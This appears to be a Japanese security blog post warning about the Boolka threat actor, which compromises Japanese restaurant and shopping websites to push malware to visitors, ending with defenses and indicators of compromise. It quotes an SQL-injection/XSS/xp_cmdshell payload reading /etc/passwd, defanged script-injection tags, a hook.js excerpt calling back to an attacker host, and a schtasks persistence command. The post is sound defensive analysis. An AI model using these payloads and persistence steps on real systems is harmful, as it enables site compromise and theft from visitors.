Boolkaによる日本企業及びユーザへの攻撃について

2024年頃からBoolkaという脅威アクターが日本企業（飲食店やショッピングサイトなど）のWebサイトが改ざんされておりWebサイトへアクセスした人にマルウェアを配布しています。
注意喚起も含め取り上げたいと思います。
本記事では、Webサイト側と訪問した人の2つの観点で記載します。

## Webサイト側
### Webサイト側にはどういった攻撃コードが来るのか？
攻撃者は、例として以下の攻撃コードを使用してWebサイト側へ攻撃しています。
```
AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd'
```

### Webサイト側に攻撃されるとどうなるのか？
以下、スクリプトがWebサイトに埋め込まれる。
※日本企業（飲食店やショッピングサイトなど）から見えている範囲になります。
※念のためURLはサニタイジングしています。
```
例１：
<script type=text/javascript src="hxxps://beef[.]beonlineboo[.]com/hook.js"></script>

例２：
<script defer="" type="text/javascript" src="hxxps://beef[.]beonlineboo[.].com/hook.js"></script>

例３：
<script type=text/javascript src=hxxps://boolka.tk/js/support.js?host=[www[.]infectedwebsite[.]com]></script>
※www[.]infectedwebsite[.]comは被害にあったWebサイトのドメインとなります

例４：
<script type=text/javascript src=hxxps://beonlineboo[.]com/js/support.js?host=[www[.]infectedwebsite[.]com]></script>
※www[.]infectedwebsite[.]comは被害にあったWebサイトのドメインとなります
```

### Webサイト側の対策として何があるのか？
一般的なWebアプリケーションの攻撃コードなので以下の対策ができます。
・WAF（Web Application Firewall）の導入

また、悪性スクリプトが埋め込まれますので以下対策もできると考えております。
・Web改ざん検知の導入
・EDR（Endpoint Detection and Response）の導入
など

## 悪性スクリプトが埋め込まれたWebサイトにアクセスした人側
### Webサイトにアクセスした人はどうなるのか？
「Download」を促すボタンが表示されます。
※以下は、hook.jsを一部抜粋しています。
```hook.js
            // clean up on click Download
            dbutt = document.getElementById('downloadButton');
            dbutt.addEventListener('click', function () {
                //$j(this).hide();
                document.location=event.target.responseText;
                document.body.removeChild(budiv);
                document.body.removeChild(bustyle);
                client = new HttpClient();
                client.get('hxxps://beef[.]beonlineboo[.]com/result?resultinfo=download', null)
            });
            cbutt = document.getElementById('closeButton');
            cbutt.addEventListener('click', function () {
                //$j(this).hide();
                document.body.removeChild(budiv);
                document.body.removeChild(bustyle);
                client = new HttpClient();
                client.get('hxxps://beef[.]beonlineboo[.]com/result?resultinfo=close', null)
            });
            window.addEventListener('popstate', function(){
                client = new HttpClient();
                client.get('hxxps://beef[.]beonlineboo[.]com/result?resultinfo=popstate', null)
            });
```
### 「Download」をクリックするとどうなるのか？
以下、マルウェアをダウンロードします。
※アクセスするブラウザ毎に名称は変更されます。
例：
edge_update_win10.exe
ハッシュ値：2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802
Virustotal情報：https://www.virustotal.com/gui/file/2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802

ダウンロードまでの流れ図
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510253/b6739aac-f4eb-8844-4749-4714b581b7f2.png)


### マルウェアを実行するとどうなるのか？
① updatebrower[.]comにアクセス
② bmanager.txtをダウンロード
③ bmanager.exeを作成
④ edge_update_win10.exeよりタスクスケジューラーに以下を登録
```
schtasks /create /sc onlogon /tn bmanager  /tr "'C:\\Program Files\\Full Browser Manager\\1.0.0\\bmanager.exe'" /it /rl HIGHEST
```
⑤ 登録したタスクスケジューラーを実行しbmanager.exeを実行
⑥ 他のマルウェアのtxtファイルをupdatebrower[.]comからダウンロード
⑦ 他のマルウェアのexeを作成
⑧ 他のマルウェアを実行

### 他のマルウェアはどういうマルウェアを落としているか？
・bmreader.exe：データ流出モジュール
・bmlog.exe：キーロガーモジュール
・bmhook.exe：Windowsフックモジュール
・bmbackup.exe：ファイル窃盗モジュール

## IoC情報
```
ドメイン                        IPアドレス
beonlineboo.com                 179[.]60[.]150[.]123
boolka[.]tk                     194[.]165[.]16[.]68
updatebrower[.]com              45[.]182[.]189[.]109
1-update-soft[.]com             45[.]182[.]189[.]109
update-brower[.]com             45[.]182[.]189[.]109
beef[.]beonlineboo[.]com        92[.]51[.]2[.]78
mainnode[.]beonlineboo[.]com    141[.]98[.]9[.]152
node[.]beonlineboo[.]com        179[.]60[.]147[.]74
```

## 最後に
身に覚えのないファイルなどが自身のPCに入っていた場合は、実行せずに削除することをおススメします。


### 参考URL
https://www.group-ib.com/blog/boolka/